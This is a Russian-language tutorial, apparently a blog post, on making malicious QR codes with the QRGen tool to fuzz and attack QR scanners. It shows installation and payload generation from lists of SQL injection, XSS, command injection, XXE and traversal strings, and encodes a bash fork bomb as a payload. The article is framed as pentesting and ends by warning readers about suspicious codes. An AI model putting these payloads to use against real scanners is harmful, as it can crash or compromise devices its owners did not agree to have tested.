qr-codeqr-code

QR-коды есть везде, от упаковки товара до посадочных талонов авиакомпании, что делает сканеры, считывающие их, интересной целью для хакеров. Благодаря недостаткам многих из этих проприетарных сканирующих устройств, можно использовать общие уязвимости, используя эксплойты, упакованные в пользовательские QR-коды.

Эти атаки являются мощными, потому что люди не могут читать или понимать информацию, содержащуюся в QR-коде. Даже сканеры, такие как смартфоны, например, могут быть уязвимы для такого рода атак.

Также, было обнаружено, что QR-коды способны заманивать пользователей iPhone на вредоносные сайты.

Что за QR-коды?

QR-коды — это форматы данных, которые полезны для всего, что необходимо сканировать автоматически.

До QR-кодов существовало несколько других форматов, называемых линейными штрих-кодами, которые также сохраняли данные в удобном для машин виде. Вы, вероятно, видели штрих-код UPC не раз, так как он часто используется для идентификации товаров для продажи, чтобы кассиры могли сканировать их.

Штрих-код UPC, (или универсальный код продукта), используется с 1974 года.
Штрих-код UPC, (или универсальный код продукта), используется с 1974 года.

Его назначение в основном в розничной торговле и кодирует он только серию цифр, что делает его ограниченным в применении. Хотя существует много различных типов линейных штрих-кодов, они не могут хранить много информации. Такие приложения, как судоходство и производство автомобилей, требовали стандарта, который бы содержал больше данных.

Что могут коды с большим количеством данных?

QR-коды появились в автомобильной промышленности как способ отслеживать автомобили в процессе их производства, но их популярность быстро выросла за пределами этой отрасли.

Подобно другим кодам, QR-коды могут содержать тонну данных и даже работать при уменьшении разрешения или иным повреждении.

QR-коды на стороне зла. Создание QR-кодов для взлома устройств, изображение №2

Один QR-код может содержать 4 296 символов ASCII, что дает гораздо больше возможностей. Вы даже можете отформатировать данные для запуска действий, когда устройство чтения распознает их.

Одно из замечательных применений QR-кодов благодаря их большей емкости данных — это использование их для управления подключениями Wi-Fi без использования пароля. Кодируя следующую строку, вы можете создать QR-код, который автоматически регистрирует пользователей Android в сети Wi-Fi.

WIFI:S:<SSID>;T:<WPA|WEP|>;P:<password>;H:<true|false|>;

Любой, кто сканирует QR-код на устройстве Android, автоматически войдет в зашифрованную сеть Wi-Fi. Чтобы узнать, сколько данных может упаковать QR-код, взгляните на этот код:

QR-коды на стороне зла. Создание QR-кодов для взлома устройств, изображение №3

Этот крошечный код содержит следующий текст:

Version 40 QR Code can contain up to 1852 chars.
A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional code) that is designed to be read by smartphones.
The code consists of black modules arranged in a square pattern on a white background. The information encoded may be text, a URL, or other data.
Created by Toyota subsidiary Denso Wave in 1994, the QR code is one of the most popular types of two-dimensional barcodes.
The QR code was designed to allow its contents to be decoded at high speed.
The technology has seen frequent use in Japan and South Korea; the United Kingdom is the seventh-largest national consumer of QR codes.
Although initially used for tracking parts in vehicle manufacturing, QR codes now are used in a much broader context,
including both commercial tracking applications and convenience-oriented applications aimed at mobile phone users (termed mobile tagging).
QR codes may be used to display text to the user, to add a vCard contact to the user's device, to open a Uniform Resource Identifier (URI), or to compose an e-mail or text message.
Users can generate and print their own QR codes for others to scan and use by visiting one of several paid and free QR code generating sites or apps.

Текст на изображении больше самого QR-кода! Емкость делает QR-коды и мощными, и опасными, потому что люди не могут понять данные внутри них без предварительного их сканирования.

QRgen для взломанных кодов

Поскольку человек не может распознать вредоносный QR-код до его фактического сканирования, относительно большая полезная нагрузка QR-кода может принести пользу хакеру, особенно в сочетании с уязвимыми устройствами.

Инструмент, который мы будем использовать сегодня для их создания, называется QRGen.
Он возьмет полезную нагрузку и закодирует ее в QR-код, используя Python.

QRGen поставляется со встроенной библиотекой, которая содержит множество популярных эксплойтов, что очень полезно, если у вас есть время сесть за то же устройство, которое вы хотите использовать, и выяснить, какое из них работает. Для пентестера, желающего проверить все, что использует сканер QR-кода, простая покупка того же сканера и пробежка по эксплойтам может привести к тому, что сканер будет вести себя неожиданным образом.

Доступ к категориям полезных нагрузок, доступных в QRGen, можно получить с помощью -l и номера во время выполнения скрипта. Номер и тип полезной нагрузки указаны ниже.

0: SQL-инъекции

1: XSS

2: Инъекция команд

3: формат строки

4: XXE

5: Струйный Fuzzing

6: SSI инъекция

7: LFI / Обратный путь в каталогах

Чтобы создать кучу вредоносных QR-кодов, содержащих нечеткие полезные нагрузки строк, мне просто нужно запустить QRGen.py -l 5, чтобы создать множество кодов для тестирования.

Что понадобится

Чтобы использовать QRGen, вам нужно установить Python 3.

Это должно быть возможно в любой операционной системе. Вам также понадобятся несколько библиотек Python, включая qrcodePillow и argparse, которые мы также установим.

Установка QRGen

Чтобы начать, скачаем репозиторий из гитхаба.

~$ git clone https://github.com/h0nus/QRGen

Cloning into 'QRGen'...
remote: Enumerating objects: 86, done.
remote: Counting objects: 100% (86/86), done.
remote: Compressing objects: 100% (78/78), done.
remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0
Unpacking objects: 100% (86/86), done.

Когда загрузка кончится, поменяйте параметр (cd) на его директорию и перечислите (ls) его содержимое, чтобы найти требуемый файл.

~$ cd QRGen
~/QRGen$ ls

demo.gif  qrgen.py  README.md  requirements.txt  words

Теперь вам нужно убедиться, что у нас установлены все необходимые библиотеки. Для этого запустим установочный файл с помощью следующей команды.

~/QRGen$ pip3 install -r requirements.txt

Collecting qrcode (from -r requirements.txt (line 1))
  Downloading https://files.pythonhosted.org/packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e51b2baa855e8cc8115be/qrcode-6.1-py2.py3-none-any.whl
Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1)
Collecting argparse (from -r requirements.txt (line 3))
  Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl
Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0)
Installing collected packages: qrcode, argparse
Successfully installed argparse-1.4.0 qrcode-6.1

Если не сработает — есть альтернативная команда

~/QRGen$ python3 -m pip install -r requirements.txt

Создание вредоносных QR-кодов из типа полезной нагрузки

Теперь вы сможете запустить скрипт, набрав python3 qrgen.py.

~/QRGen$ python3 qrgen.py

  e88 88e   888 88e    e88'Y88
 d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
 Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

usage: qrgen.py -l [number]
usage: qrgen.py -w [/path/to/custom/wordlist]

Payload lists:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader

optional arguments:
  -h, --help            show this help message and exit

Options for QRGen:
  --list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7}
                        Set wordlist to use
  --wordlist WORDLIST, -w WORDLIST
                        Use a custom wordlist

Pay attention everywhere, even in the dumbest spot

Для начала давайте создадим полезную нагрузку. Для этого запустите QRGen со следующим аргументом.

~/QRGen$ python3 qrgen.py -l 5

  e88 88e   888 88e    e88'Y88
 d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
 Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

Payload path generated..
Path already cleared or deleted..
Generated 46 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

Будет сгенерировано несколько QR-кодов, и последний из созданных автоматически откроется.

QR-коды на стороне зла. Создание QR-кодов для взлома устройств, изображение №4

Чтобы увидеть остальные данные, вы можете набрать cd genqr, чтобы перейти в каталог, в котором они созданы, и просмотреть его содержимое.

~/QRGen$ cd genqr
~/QRGen/genqr$ ls

payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png  payload-1.png   payload-29.png  payload-38.png  payload-5.png
payload-11.png  payload-20.png  payload-2.png   payload-39.png  payload-6.png
payload-12.png  payload-21.png  payload-30.png  payload-3.png   payload-7.png
payload-13.png  payload-22.png  payload-31.png  payload-40.png  payload-8.png
payload-14.png  payload-23.png  payload-32.png  payload-41.png  payload-9.png
payload-15.png  payload-24.png  payload-33.png  payload-42.png
payload-16.png  payload-25.png  payload-34.png  payload-43.png
payload-17.png  payload-26.png  payload-35.png  payload-44.png
payload-18.png  payload-27.png  payload-36.png  payload-45.png

Кодирование полезных нагрузок

Чтобы кодировать полезную нагрузку, мы можем сначала создать текстовый файл, содержащий то, что мы хотим кодировать.

Каждая строка будет новой полезной нагрузкой.

Сначала мы можем создать следующий текстовый файл, набрав nano badstuff.txt для создания текстового файла.

~/QRGen/genqr$ nano badstuff.txt

В этот текстовый файл мы можем поместить нашу полезную нагрузку. Та, что ниже, — это fork-бомба. Будет ли она работать на сканере QR-кода? Кто знает.

:(){ :|: & };:

Мы можем сохранить его, нажав Ctrl + X, затем нажмите Y и Enter, чтобы подтвердить сохранение. Теперь вы должны увидеть текстовый файл, содержащий вашу полезную нагрузку.

~/QRGen/genqr$ ls

badstuff.txt    payload-18.png  payload-27.png  payload-36.png  payload-45.png
payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png  payload-1.png   payload-29.png  payload-38.png  payload-5.png
payload-11.png  payload-20.png  payload-2.png   payload-39.png  payload-6.png
payload-12.png  payload-21.png  payload-30.png  payload-3.png   payload-7.png
payload-13.png  payload-22.png  payload-31.png  payload-40.png  payload-8.png
payload-14.png  payload-23.png  payload-32.png  payload-41.png  payload-9.png
payload-15.png  payload-24.png  payload-33.png  payload-42.png
payload-16.png  payload-25.png  payload-34.png  payload-43.png
payload-17.png  payload-26.png  payload-35.png  payload-44.png

Чтобы записать свою полезную нагрузку в QR-код, мы будем использовать команду -w.

Предполагая, что ваш файл полезных данных называется «badstuff.txt», команда для этого должна выглядеть следующим образом (не забудьте заранее вернуться в каталог QRGen).

~/QRGen/genqr$ cd ..
~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt'

  e88 88e   888 88e    e88'Y88
 d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
 Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

Payload path exist, continuing...
Path already cleared or deleted..
Generated 1 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

Для моей бомбы программа генерирует такой QR-код

QR-коды на стороне зла. Создание QR-кодов для взлома устройств, изображение №5

Не все QR-коды целесообразно сканировать

QR-коды могут кодировать много информации, и, как мы узнали сегодня, они могут даже быть запрограммированы, чтобы заставить устройство делать что-либо.

Это делает сканирование QR-кода рискованным, поскольку у человека нет возможности прочитать информацию, прежде чем сканировать. Если вы сканируете QR-код, который кажется подозрительным, обратите внимание на то, что код пытается запустить, и не подключайтесь к сети Wi-Fi и не переходите к сокращенной ссылке.

От KaligulBorhes

"How long, ignoramuses, will you love ignorance? How long will fools hate knowledge?"